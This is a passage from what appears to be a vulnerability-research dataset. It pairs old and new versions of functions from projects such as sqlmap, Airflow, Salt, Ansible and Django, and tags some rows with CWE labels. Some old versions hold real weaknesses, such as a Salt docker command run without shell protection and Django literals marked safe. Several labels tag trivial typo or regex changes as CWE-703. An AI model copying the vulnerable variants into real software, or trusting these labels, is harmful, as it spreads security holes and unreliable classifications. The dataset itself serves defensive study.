        if kb.tamperFunctions and len(kb.tamperFunctions) > 3:
            warnMsg = ""using too many tamper scripts is usually not ""
            warnMsg += ""a good idea""
            logger.warning(warnMsg)

        if resolve_priorities and priorities:
            priorities.sort(reverse=True)
            kb.tamperFunctions = []

            for _, function in priorities:
                kb.tamperFunctions.append(function)",,sqlmapproject/sqlmap,196ac25284a32e368792552426b1f653b3a589dd,"def _setTamperingFunctions():
    """"""
    Loads tampering functions from given script(s)
    """"""

    if conf.tamper:
        last_priority = PRIORITY.HIGHEST
        check_priority = True
        resolve_priorities = False
        priorities = []

        for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper):
            found = False

            path = safeFilepathEncode(paths.SQLMAP_TAMPER_PATH)
            script = safeFilepathEncode(script.strip())

            try:
                if not script:
                    continue

                elif os.path.exists(os.path.join(path, script if script.endswith("".py"") else ""%s.py"" % script)):
                    script = os.path.join(path, script if script.endswith("".py"") else ""%s.py"" % script)

                elif not os.path.exists(script):
                    errMsg = ""tamper script '%s' does not exist"" % script
                    raise SqlmapFilePathException(errMsg)

                elif not script.endswith("".py""):
                    errMsg = ""tamper script '%s' should have an extension '.py'"" % script
                    raise SqlmapSyntaxException(errMsg)
            except UnicodeDecodeError:
                errMsg = ""invalid character provided in option '--tamper'""
                raise SqlmapSyntaxException(errMsg)

            dirname, filename = os.path.split(script)
            dirname = os.path.abspath(dirname)

            infoMsg = ""loading tamper module '%s'"" % filename[:-3]
            logger.info(infoMsg)

            if not os.path.exists(os.path.join(dirname, ""__init__.py"")):
                errMsg = ""make sure that there is an empty file '__init__.py' ""
                errMsg += ""inside of tamper scripts directory '%s'"" % dirname
                raise SqlmapGenericException(errMsg)

            if dirname not in sys.path:
                sys.path.insert(0, dirname)

            try:
                module = __import__(safeFilepathEncode(filename[:-3]))
            except Exception as ex:
                raise SqlmapSyntaxException(""cannot import tamper module '%s' (%s)"" % (filename[:-3], getSafeExString(ex)))

            priority = PRIORITY.NORMAL if not hasattr(module, ""__priority__"") else module.__priority__

            for name, function in inspect.getmembers(module, inspect.isfunction):
                if name == ""tamper"" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == ""kwargs"":
                    found = True
                    kb.tamperFunctions.append(function)
                    function.func_name = module.__name__

                    if check_priority and priority > last_priority:
                        message = ""it appears that you might have mixed ""
                        message += ""the order of tamper scripts. ""
                        message += ""Do you want to auto resolve this? [Y/n/q] ""
                        choice = readInput(message, default='Y').upper()

                        if choice == 'N':
                            resolve_priorities = False
                        elif choice == 'Q':
                            raise SqlmapUserQuitException
                        else:
                            resolve_priorities = True

                        check_priority = False

                    priorities.append((priority, function))
                    last_priority = priority

                    break
                elif name == ""dependencies"":
                    try:
                        function()
                    except Exception as ex:
                        errMsg = ""error occurred while checking dependencies ""
                        errMsg += ""for tamper module '%s' ('%s')"" % (filename[:-3], getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)

            if not found:
                errMsg = ""missing function 'tamper(payload, **kwargs)' ""
                errMsg += ""in tamper script '%s'"" % script
                raise SqlmapGenericException(errMsg)

        if kb.tamperFunctions and len(kb.tamperFunctions) > 3:
            warnMsg = ""using too many tamper scripts is usually not ""
            warnMsg += ""a good idea""
            logger.warning(warnMsg)

        if resolve_priorities and priorities:
            priorities.sort(reverse=True)
            kb.tamperFunctions = []

            for _, function in priorities:
                kb.tamperFunctions.append(function)"
,UNKNOWN,UNKNOWN,chart/tests/test_pod_template_file.py,1,"def test_should_add_an_init_container_if_git_sync_is_true(self):
        docs = render_chart(
            values={
                ""images"": {
                    ""gitSync"": {
                        ""repository"": ""test-registry/test-repo"",
                        ""tag"": ""test-tag"",
                        ""pullPolicy"": ""Always"",
                    }
                },
                ""dags"": {
                    ""gitSync"": {
                        ""enabled"": True,
                        ""containerName"": ""git-sync-test"",
                        ""wait"": 66,
                        ""maxFailures"": 70,
                        ""subPath"": ""path1/path2"",
                        ""dest"": ""test-dest"",
                        ""root"": ""/git-root"",
                        ""rev"": ""HEAD"",
                        ""depth"": 1,
                        ""repo"": ""https://github.com/apache/airflow.git"",
                        ""branch"": ""test-branch"",
                        ""sshKeySecret"": None,
                        ""credentialsSecret"": None,
                        ""knownHosts"": None,
                    }
                },
            },
            show_only=[""templates/pod-template-file.yaml""],
        )

        assert re.search(""Pod"", docs[0][""kind""])
        assert {
            ""name"": ""git-sync-test"",
            ""securityContext"": {""runAsUser"": 65533},
            ""image"": ""test-registry/test-repo:test-tag"",
            ""imagePullPolicy"": ""Always"",
            ""env"": [
                {""name"": ""GIT_SYNC_REV"", ""value"": ""HEAD""},
                {""name"": ""GIT_SYNC_BRANCH"", ""value"": ""test-branch""},
                {""name"": ""GIT_SYNC_REPO"", ""value"": ""https://github.com/apache/airflow.git""},
                {""name"": ""GIT_SYNC_DEPTH"", ""value"": ""1""},
                {""name"": ""GIT_SYNC_ROOT"", ""value"": ""/git-root""},
                {""name"": ""GIT_SYNC_DEST"", ""value"": ""test-dest""},
                {""name"": ""GIT_SYNC_ADD_USER"", ""value"": ""true""},
                {""name"": ""GIT_SYNC_WAIT"", ""value"": ""66""},
                {""name"": ""GIT_SYNC_MAX_SYNC_FAILURES"", ""value"": ""70""},
                {""name"": ""GIT_SYNC_ONE_TIME"", ""value"": ""true""},
            ],
            ""volumeMounts"": [{""mountPath"": ""/git-root"", ""name"": ""dags""}],
        } == jmespath.search(""spec.initContainers[0]"", docs[0])",CWE-703,apache/airflow,50928d417e66943dcc35209af5de416294c7bc4d,"def test_should_add_an_init_container_if_git_sync_is_true(self):
        docs = render_chart(
            values={
                ""images"": {
                    ""gitSync"": {
                        ""repository"": ""test-registry/test-repo"",
                        ""tag"": ""test-tag"",
                        ""pullPolicy"": ""Allways"",
                    }
                },
                ""dags"": {
                    ""gitSync"": {
                        ""enabled"": True,
                        ""containerName"": ""git-sync-test"",
                        ""wait"": 66,
                        ""maxFailures"": 70,
                        ""subPath"": ""path1/path2"",
                        ""dest"": ""test-dest"",
                        ""root"": ""/git-root"",
                        ""rev"": ""HEAD"",
                        ""depth"": 1,
                        ""repo"": ""https://github.com/apache/airflow.git"",
                        ""branch"": ""test-branch"",
                        ""sshKeySecret"": None,
                        ""credentialsSecret"": None,
                        ""knownHosts"": None,
                    }
                },
            },
            show_only=[""templates/pod-template-file.yaml""],
        )

        assert re.search(""Pod"", docs[0][""kind""])
        assert {
            ""name"": ""git-sync-test"",
            ""securityContext"": {""runAsUser"": 65533},
            ""image"": ""test-registry/test-repo:test-tag"",
            ""imagePullPolicy"": ""Allways"",
            ""env"": [
                {""name"": ""GIT_SYNC_REV"", ""value"": ""HEAD""},
                {""name"": ""GIT_SYNC_BRANCH"", ""value"": ""test-branch""},
                {""name"": ""GIT_SYNC_REPO"", ""value"": ""https://github.com/apache/airflow.git""},
                {""name"": ""GIT_SYNC_DEPTH"", ""value"": ""1""},
                {""name"": ""GIT_SYNC_ROOT"", ""value"": ""/git-root""},
                {""name"": ""GIT_SYNC_DEST"", ""value"": ""test-dest""},
                {""name"": ""GIT_SYNC_ADD_USER"", ""value"": ""true""},
                {""name"": ""GIT_SYNC_WAIT"", ""value"": ""66""},
                {""name"": ""GIT_SYNC_MAX_SYNC_FAILURES"", ""value"": ""70""},
                {""name"": ""GIT_SYNC_ONE_TIME"", ""value"": ""true""},
            ],
            ""volumeMounts"": [{""mountPath"": ""/git-root"", ""name"": ""dags""}],
        } == jmespath.search(""spec.initContainers[0]"", docs[0])"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/utils.py,0,"def action_logging(f):
    """"""
    Decorator to log user actions
    """"""
    @functools.wraps(f)
    def wrapper(*args, **kwargs):
        # AnonymousUserMixin() has user attribute but its value is None.
        if current_user and hasattr(current_user, 'user') and current_user.user:
            user = current_user.user.username
        else:
            user = 'anonymous'

        log = models.Log(
            event=f.__name__,
            task_instance=None,
            owner=user,
            extra=str(list(request.args.items())),
            task_id=request.args.get('task_id'),
            dag_id=request.args.get('dag_id'))

        if request.args.get('execution_date'):
            log.execution_date = timezone.parse(request.args.get('execution_date'))

        with create_session() as session:
            session.add(log)
            session.commit()

        return f(*args, **kwargs)

    return wrapper",CWE-Unknown,apache/airflow,2fd9328b412841429acc288b1441c8351ee15e98,"def action_logging(f):
    """"""
    Decorator to log user actions
    """"""
    @functools.wraps(f)
    def wrapper(*args, **kwargs):
        # Only AnonymousUserMixin() does not have user attribute
        if current_user and hasattr(current_user, 'user'):
            user = current_user.user.username
        else:
            user = 'anonymous'

        log = models.Log(
            event=f.__name__,
            task_instance=None,
            owner=user,
            extra=str(list(request.args.items())),
            task_id=request.args.get('task_id'),
            dag_id=request.args.get('dag_id'))

        if request.args.get('execution_date'):
            log.execution_date = timezone.parse(request.args.get('execution_date'))

        with create_session() as session:
            session.add(log)
            session.commit()

        return f(*args, **kwargs)

    return wrapper"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_user_endpoint.py,1,"def test_invalid_payload(self, autoclean_user_payload, payload_converter, error_message):
        response = self.client.post(
            ""/api/v1/users"",
            json=payload_converter(autoclean_user_payload),
            environ_overrides={""REMOTE_USER"": ""test""},
        )
        assert response.status_code == 400, response.json
        assert response.json == {
            ""detail"": error_message,
            ""status"": 400,
            ""title"": ""Bad Request"",
            ""type"": EXCEPTIONS_LINK_MAP[400],
        }",CWE-703,apache/airflow,cc3cd20dce547843125701b2cbc0ef2660c4e452,"def test_invalid_payload(self, autoclean_user_payload, payload_converter, error_message):
        response = self.client.post(
            ""/api/v1/users"",
            json=payload_converter(autoclean_user_payload),
            environ_overrides={""REMOTE_USER"": ""test""},
        )
        assert response.status_code == 400, response.json
        assert response.json == {
            ""detail"": error_message,
            ""status"": 400,
            ""title"": ""Bad Request"",
            ""type"": EXCEPTIONS_LINK_MAP[400],
        }"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/debian_ip.py,0,"def get_network_settings():
    '''
    Return the contents of the global network script.

    CLI Example:

    .. code-block:: bash

        salt '*' ip.get_network_settings
    '''
    skip_etc_default_networking = (
        __grains__['osfullname'] == 'Ubuntu' and
        int(__grains__['osrelease'].split('.')[0]) >= 12)

    if skip_etc_default_networking:
        return ''
    else:
        settings = _parse_current_network_settings()

        try:
            template = JINJA.get_template('network.jinja')
        except jinja2.exceptions.TemplateNotFound:
            log.error('Could not load template network.jinja')
            return ''

        network = template.render(settings)
        return _read_temp(network)",,saltstack/salt,c70c2057b8dcf56d0948d1e61d94775e6dda992b,"def get_network_settings():
    '''
    Return the contents of the global network script.

    CLI Example:

    .. code-block:: bash

        salt '*' ip.get_network_settings
    '''

    settings = _parse_current_network_settings()

    try:
        template = JINJA.get_template('network.jinja')
    except jinja2.exceptions.TemplateNotFound:
        log.error('Could not load template network.jinja')
        return ''

    network = template.render(settings)
    return _read_temp(network)"
,UNKNOWN,UNKNOWN,tests/unit/test_minion.py,1,"def test_gen_modules_executors(self):
        '''
        Ensure gen_modules is called with the correct arguments #54429
        '''
        mock_opts = self.get_config('minion', from_scratch=True)
        io_loop = tornado.ioloop.IOLoop()
        io_loop.make_current()
        minion = salt.minion.Minion(mock_opts, io_loop=io_loop)

        class MockPillarCompiler(object):
            def compile_pillar(self):
                return {}

        try:
            with patch('salt.pillar.get_pillar', return_value=MockPillarCompiler()):
                with patch('salt.loader.executors') as execmock:
                    minion.gen_modules()
            assert execmock.called_with(minion.opts, minion.functions)
        finally:
            minion.destroy()",CWE-703,saltstack/salt,db5464a919307ebe9831f7ffb5db8e2cfa52257a,"def test_gen_modules_executors(self):
        '''
        Ensure gen_modules is called with the correct arguments #54429
        '''
        mock_opts = self.get_config('minion', from_scratch=True)
        mock_opts['master_uri'] = 'master' #, 'tcp://master:9090'
        io_loop = tornado.ioloop.IOLoop()
        io_loop.make_current()
        minion = salt.minion.Minion(mock_opts, io_loop=io_loop)
        class MockPillarCompiler():
            def compile_pillar(self):
                return {}
        try:
            with patch('salt.pillar.get_pillar', return_value=MockPillarCompiler()):
                with patch('salt.loader.executors') as execmock:
                    minion.gen_modules()
            assert execmock.called_with(minion.opts, minion.functions)
        finally:
            minion.destroy()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,providers/amazon/src/airflow/providers/amazon/aws/operators/eks.py,0,"def __init__(
        self,
        cluster_name: str,
        # Setting in_cluster to False tells the pod that the config
        # file is stored locally in the worker and not in the cluster.
        in_cluster: bool = False,
        namespace: str = DEFAULT_NAMESPACE_NAME,
        pod_name: str | None = None,
        aws_conn_id: str | None = DEFAULT_CONN_ID,
        region: str | None = None,
        on_finish_action: str | None = None,
        **kwargs,
    ) -> None:
        if on_finish_action is not None:
            kwargs[""on_finish_action""] = OnFinishAction(on_finish_action)
        else:
            kwargs[""on_finish_action""] = OnFinishAction.DELETE_POD

        self.cluster_name = cluster_name
        self.in_cluster = in_cluster
        self.namespace = namespace
        self.pod_name = pod_name
        self.aws_conn_id = aws_conn_id
        self.region = region
        super().__init__(
            in_cluster=self.in_cluster,
            namespace=self.namespace,
            name=self.pod_name,
            trigger_kwargs={""eks_cluster_name"": cluster_name},
            **kwargs,
        )
        # There is no need to manage the kube_config file, as it will be generated automatically.
        # All Kubernetes parameters (except config_file) are also valid for the EksPodOperator.
        if self.config_file:
            raise AirflowException(""The config_file is not an allowed parameter for the EksPodOperator."")",CWE-Unknown,apache/airflow,541f600c5e2467848e38ca0164ea5b1aa6ad99fb,"def __init__(
        self,
        cluster_name: str,
        # Setting in_cluster to False tells the pod that the config
        # file is stored locally in the worker and not in the cluster.
        in_cluster: bool = False,
        namespace: str = DEFAULT_NAMESPACE_NAME,
        pod_name: str | None = None,
        aws_conn_id: str | None = DEFAULT_CONN_ID,
        region: str | None = None,
        on_finish_action: str | None = None,
        **kwargs,
    ) -> None:
        if on_finish_action is not None:
            kwargs[""on_finish_action""] = OnFinishAction(on_finish_action)
        else:
            kwargs[""on_finish_action""] = OnFinishAction.DELETE_POD

        self.cluster_name = cluster_name
        self.in_cluster = in_cluster
        self.namespace = namespace
        self.pod_name = pod_name
        self.aws_conn_id = aws_conn_id
        self.region = region
        super().__init__(
            in_cluster=self.in_cluster,
            namespace=self.namespace,
            name=self.pod_name,
            **kwargs,
        )
        # There is no need to manage the kube_config file, as it will be generated automatically.
        # All Kubernetes parameters (except config_file) are also valid for the EksPodOperator.
        if self.config_file:
            raise AirflowException(""The config_file is not an allowed parameter for the EksPodOperator."")"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/__init__.py,0,"def _remote_checksum(self, path, all_vars, follow=False):
        '''
        Produces a remote checksum given a path,
        Returns a number 0-4 for specific errors instead of checksum, also ensures it is different
        0 = unknown error
        1 = file does not exist, this might not be an error
        2 = permissions issue
        3 = its a directory, not a file
        4 = stat module failed, likely due to not finding python
        5 = appropriate json module not found
        '''
        x = ""0""  # unknown error has occurred
        try:
            remote_stat = self._execute_remote_stat(path, all_vars, follow=follow)
            if remote_stat['exists'] and remote_stat['isdir']:
                x = ""3""  # its a directory not a file
            else:
                x = remote_stat['checksum']  # if 1, file is missing
        except AnsibleError as e:
            errormsg = to_text(e)
            if errormsg.endswith(u'Permission denied'):
                x = ""2""  # cannot read file
            elif errormsg.endswith(u'MODULE FAILURE'):
                x = ""4""  # python not found or module uncaught exception
            elif 'json' in errormsg:
                x = ""5""  # json module needed
        finally:
            return x",,ansible/ansible,c1c229c6d4cf74d022c56a17061ab57918822f88,"def _remote_checksum(self, path, all_vars, follow=False):
        '''
        Produces a remote checksum given a path,
        Returns a number 0-4 for specific errors instead of checksum, also ensures it is different
        0 = unknown error
        1 = file does not exist, this might not be an error
        2 = permissions issue
        3 = its a directory, not a file
        4 = stat module failed, likely due to not finding python
        5 = appropriate json module not found
        '''
        x = ""0""  # unknown error has occurred
        try:
            remote_stat = self._execute_remote_stat(path, all_vars, follow=follow)
            if remote_stat['exists'] and remote_stat['isdir']:
                x = ""3""  # its a directory not a file
            else:
                x = remote_stat['checksum']  # if 1, file is missing
        except AnsibleError as e:
            errormsg = to_text(e)
            if errormsg.endswith(u'Permission denied'):
                x = ""2""  # cannot read file
            elif errormsg.endswith(u'MODULE FAILURE'):
                x = ""4""  # python not found or module uncaught exception
            elif 'json' in errormsg or 'simplejson' in errormsg:
                x = ""5""  # json or simplejson modules needed
        finally:
            return x"
,UNKNOWN,UNKNOWN,django/template/base.py,1,"def __init__(self, var):
        self.var = var
        self.literal = None
        self.lookups = None
        self.translate = False
        self.message_context = None

        if not isinstance(var, str):
            raise TypeError(
                ""Variable must be a string or number, got %s"" % type(var))
        try:
            # First try to treat this variable as a number.
            #
            # Note that this could cause an OverflowError here that we're not
            # catching. Since this should only happen at compile time, that's
            # probably OK.

            # Try to interpret values containing a period or an 'e'/'E'
            # (possibly scientific notation) as a float;  otherwise, try int.
            if '.' in var or 'e' in var.lower():
                self.literal = float(var)
                # ""2."" is invalid
                if var.endswith('.'):
                    raise ValueError
            else:
                self.literal = int(var)
        except ValueError:
            # A ValueError means that the variable isn't a number.
            if var.startswith('_(') and var.endswith(')'):
                # The result of the lookup should be translated at rendering
                # time.
                self.translate = True
                var = var[2:-1]
            # If it's wrapped with quotes (single or double), then
            # we're also dealing with a literal.
            try:
                self.literal = mark_safe(unescape_string_literal(var))
            except ValueError:
                # Otherwise we'll set self.lookups so that resolve() knows we're
                # dealing with a bonafide variable
                if var.find(VARIABLE_ATTRIBUTE_SEPARATOR + '_') > -1 or var[0] == '_':
                    raise TemplateSyntaxError(""Variables and attributes may ""
                                              ""not begin with underscores: '%s'"" %
                                              var)
                self.lookups = tuple(var.split(VARIABLE_ATTRIBUTE_SEPARATOR))",CWE-79,django/django,adfd2614045518cc9221aef1f17fd3ffeac3d2cc,"def __init__(self, var):
        self.var = var
        self.literal = None
        self.lookups = None
        self.translate = False
        self.message_context = None

        if not isinstance(var, str):
            raise TypeError(
                ""Variable must be a string or number, got %s"" % type(var))
        try:
            # First try to treat this variable as a number.
            #
            # Note that this could cause an OverflowError here that we're not
            # catching. Since this should only happen at compile time, that's
            # probably OK.

            # Try to interpret values containg a period or an 'e'/'E'
            # (possibly scientific notation) as a float;  otherwise, try int.
            if '.' in var or 'e' in var.lower():
                self.literal = float(var)
                # ""2."" is invalid
                if var.endswith('.'):
                    raise ValueError
            else:
                self.literal = int(var)
        except ValueError:
            # A ValueError means that the variable isn't a number.
            if var.startswith('_(') and var.endswith(')'):
                # The result of the lookup should be translated at rendering
                # time.
                self.translate = True
                var = var[2:-1]
            # If it's wrapped with quotes (single or double), then
            # we're also dealing with a literal.
            try:
                self.literal = mark_safe(unescape_string_literal(var))
            except ValueError:
                # Otherwise we'll set self.lookups so that resolve() knows we're
                # dealing with a bonafide variable
                if var.find(VARIABLE_ATTRIBUTE_SEPARATOR + '_') > -1 or var[0] == '_':
                    raise TemplateSyntaxError(""Variables and attributes may ""
                                              ""not begin with underscores: '%s'"" %
                                              var)
                self.lookups = tuple(var.split(VARIABLE_ATTRIBUTE_SEPARATOR))"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/dockerio.py,0,"def load(imagepath):
    '''
    Load the specified file at imagepath into docker that was generated from
    a docker save command
    e.g. `docker load < imagepath`

    imagepath
        imagepath to docker tar file

    CLI Example:

    .. code-block:: bash

        salt '*' docker.load /path/to/image
    '''

    status = base_status.copy()
    if os.path.isfile(imagepath):
        try:
            dockercmd = ['docker', 'load', '-i', imagepath]
            ret = __salt__['cmd.run'](dockercmd, python_shell=False)
            if ((isinstance(ret, dict) and
                ('retcode' in ret) and
                (ret['retcode'] != 0))):
                return _invalid(status, id_=None,
                                out=ret,
                                comment='Command to load image {0} failed.'.format(imagepath))

            _valid(status, id_=None, out=ret, comment='Image load success')
        except Exception:
            _invalid(status, id_=None,
                    comment=""Image not loaded."",
                    out=traceback.format_exc())
    else:
        _invalid(status, id_=None,
                comment='Image file {0} could not be found.'.format(imagepath),
                out=traceback.format_exc())

    return status",,saltstack/salt,35d2cff44b929b67de287474f41a4037c24566e0,"def load(imagepath):
    '''
    Load the specified file at imagepath into docker that was generated from
    a docker save command
    e.g. `docker load < imagepath`

    imagepath
        imagepath to docker tar file

    CLI Example:

    .. code-block:: bash

        salt '*' docker.load /path/to/image
    '''

    status = base_status.copy()
    if os.path.isfile(imagepath):
        try:
            dockercmd = ['docker', 'load', '-i', imagepath]
            ret = __salt__['cmd.run'](dockercmd)
            if ((isinstance(ret, dict) and
                ('retcode' in ret) and
                (ret['retcode'] != 0))):
                return _invalid(status, id_=None,
                                out=ret,
                                comment='Command to load image {0} failed.'.format(imagepath))

            _valid(status, id_=None, out=ret, comment='Image load success')
        except Exception:
            _invalid(status, id_=None,
                    comment=""Image not loaded."",
                    out=traceback.format_exc())
    else:
        _invalid(status, id_=None,
                comment='Image file {0} could not be found.'.format(imagepath),
                out=traceback.format_exc())

    return status"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/yumpkg5.py,0,"def available_version(*names):
    '''
    Return the latest version of the named package available for upgrade or
    installation. If more than one package name is specified, a dict of
    name/version pairs is returned.

    If the latest version of a given package is already installed, an empty
    string will be returned for that package.

    CLI Example::

        salt '*' pkg.available_version <package name>
        salt '*' pkg.available_version <package1> <package2> <package3> ...
    '''
    if len(names) == 0:
        return ''
    ret = {}
    # Initialize the dict with empty strings
    for name in names:
        ret[name] = ''
    # Get updates for specified package(s)
    updates = _parse_yum('list available {0}'.format(' '.join(names)))
    for pkg in updates:
        ret[pkg.name] = pkg.version
    # Return a string if only one package name passed
    if len(names) == 1:
        return ret[names[0]]
    return ret",,saltstack/salt,3f9328b4a2135b4cb0223c1b4cd7418972794f0b,"def available_version(*names):
    '''
    Return the latest version of the named package available for upgrade or
    installation. If more than one package name is specified, a dict of
    name/version pairs is returned.

    If the latest version of a given package is already installed, an empty
    string will be returned for that package.

    CLI Example::

        salt '*' pkg.available_version <package name>
        salt '*' pkg.available_version <package1> <package2> <package3> ...
    '''
    if len(names) == 0:
        return ''
    ret = {}
    # Initialize the dict with empty strings
    for name in names:
        ret[name] = ''
    # Get updates for specified package(s)
    updates = _parse_yum('list updates {0}'.format(' '.join(names)))
    for pkg in updates:
        ret[pkg.name] = pkg.version
    # Return a string if only one package name passed
    if len(names) == 1:
        return ret[names[0]]
    return ret"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/sessions/handlers.py,0,"def post(self):
        # Creates a new session
        #(unless a session already exists for the named nb)
        sm = self.session_manager
        cm = self.contents_manager
        km = self.kernel_manager

        model = self.get_json_body()
        if model is None:
            raise web.HTTPError(400, ""No JSON data provided"")
        try:
            path = model['notebook']['path']
        except KeyError:
            raise web.HTTPError(400, ""Missing field in JSON data: notebook.path"")
        try:
            kernel_name = model['kernel']['name']
        except KeyError:
            self.log.debug(""No kernel name specified, using default kernel"")
            kernel_name = None

        # Check to see if session exists
        if sm.session_exists(path=path):
            model = sm.get_session(path=path)
        else:
            try:
                model = sm.create_session(path=path, kernel_name=kernel_name)
            except NoSuchKernel:
                msg = (""The '%s' kernel is not available. Please pick another ""
                       ""suitable kernel instead, or install that kernel."" % kernel_name)
                status_msg = '%s not found' % kernel_name
                self.log.warn('Kernel not found: %s' % kernel_name)
                self.set_status(501)
                self.finish(json.dumps(dict(message=msg, short_message=status_msg)))
                return

        location = url_path_join(self.base_url, 'api', 'sessions', model['id'])
        self.set_header('Location', url_escape(location))
        self.set_status(201)
        self.finish(json.dumps(model, default=date_default))",,jupyter/notebook,ec40a32ccb905d7035bcb6433038da06c9f38fc8,"def post(self):
        # Creates a new session
        #(unless a session already exists for the named nb)
        sm = self.session_manager
        cm = self.contents_manager
        km = self.kernel_manager

        model = self.get_json_body()
        if model is None:
            raise web.HTTPError(400, ""No JSON data provided"")
        try:
            path = model['notebook']['path']
        except KeyError:
            raise web.HTTPError(400, ""Missing field in JSON data: notebook.path"")
        try:
            kernel_name = model['kernel']['name']
        except KeyError:
            self.log.debug(""No kernel name specified, using default kernel"")
            kernel_name = None

        # Check to see if session exists
        if sm.session_exists(path=path):
            model = sm.get_session(path=path)
        else:
            try:
                model = sm.create_session(path=path, kernel_name=kernel_name)
            except NoSuchKernel:
                msg = (""The '%s' kernel is not available. Please pick another ""
                       ""suitable kernel instead, or install that kernel."" % kernel_name)
                status_msg = '%s not found' % kernel_name
                self.log.warn('Kernel not found: %s' % kernel_name)
                self.set_status(501)
                self.finish(json.dumps(dict(message=msg, short_message=status_msg)))
                return

        location = url_path_join(self.base_url, 'api', 'sessions', model['id'])
        self.set_header('Location', url_escape(location))
        self.set_status(201)
        self.finish(json.dumps(model, default=date_default))"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/misc/diff.py,0,"def chunked_diff(a, b):
    """"""
    This is a performance hack around diff() which was required due to the large
    amount of time diff() took to process some HTTP responses.
    This method does the same as diff() but it will cut the string in chunks and
    process the list of chunks instead of the strings. This makes the whole process
    faster and more inaccurate.

    :param a: A string
    :param b: A string (similar to a)
    :return: See diff_difflib()
    """"""
    # Performance enhancement: if the two strings are equal, don't even bother
    # calling split_by_sep and diff_difflib()
    if a == b:
        return '', ''

    a_split = split_by_sep(a)
    b_split = split_by_sep(b)

    a_chunks, b_chunks = diff_difflib(a_split, b_split)
    return ''.join(a_chunks), ''.join(b_chunks)",,andresriancho/w3af,af78ad44499538694361d9a01b92d6b4746cbc26,"def chunked_diff(a, b):
    """"""
    This is a performance hack around diff() which was required due to the large
    amount of time diff() took to process some HTTP responses.
    This method does the same as diff() but it will cut the string in chunks and
    process the list of chunks instead of the strings. This makes the whole process
    faster and more inaccurate.

    :param a: A string
    :param b: A string (similar to a)
    :return: See diff_difflib()
    """"""
    # Performance enhancement: if the two strings are equal, don't even bother
    # calling split_by_sep and diff_difflib()
    if a == b:
        return '', ''

    a_split = split_by_sep(a)
    b_split = split_by_sep(b)

    a_chunks, b_chunks = diff_difflib(a_split, b_split)
    return ''.join(a_chunks), ''.join(b_chunks)"
,UNKNOWN,UNKNOWN,test/units/cli/test_adhoc.py,1,"def test_ansible_version(capsys, mocker):
    adhoc_cli = AdHocCLI(args=['/bin/ansible', '--version'])
    with pytest.raises(SystemExit):
        adhoc_cli.run()
    version = capsys.readouterr()
    try:
        version_lines = version.out.splitlines()
    except AttributeError:
        # Python 2.6 does return a named tuple, so get the first item
        version_lines = version[0].splitlines()

    assert len(version_lines) == 9, 'Incorrect number of lines in ""ansible --version"" output'
    assert re.match(r'ansible \[core [0-9.a-z]+\]$', version_lines[0]), 'Incorrect ansible version line in ""ansible --version"" output'
    assert re.match('  config file = .*$', version_lines[1]), 'Incorrect config file line in ""ansible --version"" output'
    assert re.match('  configured module search path = .*$', version_lines[2]), 'Incorrect module search path in ""ansible --version"" output'
    assert re.match('  ansible python module location = .*$', version_lines[3]), 'Incorrect python module location in ""ansible --version"" output'
    assert re.match('  ansible collection location = .*$', version_lines[4]), 'Incorrect collection location in ""ansible --version"" output'
    assert re.match('  executable location = .*$', version_lines[5]), 'Incorrect executable locaction in ""ansible --version"" output'
    assert re.match('  python version = .*$', version_lines[6]), 'Incorrect python version in ""ansible --version"" output'
    assert re.match('  jinja version = .*$', version_lines[7]), 'Incorrect jinja version in ""ansible --version"" output'
    assert re.match('  libyaml = .*$', version_lines[8]), 'Missing libyaml in ""ansible --version"" output'",CWE-703,ansible/ansible,8f82e6327f57d351a0016f44ef47b651393148d3,"def test_ansible_version(capsys, mocker):
    adhoc_cli = AdHocCLI(args=['/bin/ansible', '--version'])
    with pytest.raises(SystemExit):
        adhoc_cli.run()
    version = capsys.readouterr()
    try:
        version_lines = version.out.splitlines()
    except AttributeError:
        # Python 2.6 does return a named tuple, so get the first item
        version_lines = version[0].splitlines()

    assert len(version_lines) == 9, 'Incorrect number of lines in ""ansible --version"" output'
    assert re.match(r'ansible \[core [0-9.a-z]+\]', version_lines[0]), 'Incorrect ansible version line in ""ansible --version"" output'
    assert re.match('  config file = .*$', version_lines[1]), 'Incorrect config file line in ""ansible --version"" output'
    assert re.match('  configured module search path = .*$', version_lines[2]), 'Incorrect module search path in ""ansible --version"" output'
    assert re.match('  ansible python module location = .*$', version_lines[3]), 'Incorrect python module location in ""ansible --version"" output'
    assert re.match('  ansible collection location = .*$', version_lines[4]), 'Incorrect collection location in ""ansible --version"" output'
    assert re.match('  executable location = .*$', version_lines[5]), 'Incorrect executable locaction in ""ansible --version"" output'
    assert re.match('  python version = .*$', version_lines[6]), 'Incorrect python version in ""ansible --version"" output'
    assert re.match('  jinja version = .*$', version_lines[7]), 'Incorrect jinja version in ""ansible --version"" output'
    assert re.match('  libyaml = .*$', version_lines[8]), 'Missing libyaml in ""ansible --version"" output'"
,UNKNOWN,UNKNOWN,tests/core/test_configuration.py,1,"def test_sensitive_values():
    from airflow.settings import conf

    # this list was hardcoded prior to 2.6.2
    # included here to avoid regression in refactor
    # inclusion of keys ending in ""password"" or ""kwargs"" is automated from 2.6.2
    # items not matching this pattern must be added here manually
    sensitive_values = {
        (""database"", ""sql_alchemy_conn""),
        (""core"", ""fernet_key""),
        (""core"", ""internal_api_secret_key""),
        (""api"", ""auth_jwt_secret""),
        (""webserver"", ""secret_key""),
        (""secrets"", ""backend_kwargs""),
        (""sentry"", ""sentry_dsn""),
        (""database"", ""sql_alchemy_engine_args""),
        (""core"", ""sql_alchemy_conn""),
        (""celery_broker_transport_options"", ""sentinel_kwargs""),
        (""celery"", ""broker_url""),
        (""celery"", ""flower_basic_auth""),
        (""celery"", ""result_backend""),
        (""opensearch"", ""username""),
        (""opensearch"", ""password""),
    }
    all_keys = {(s, k) for s, v in conf.configuration_description.items() for k in v.get(""options"")}
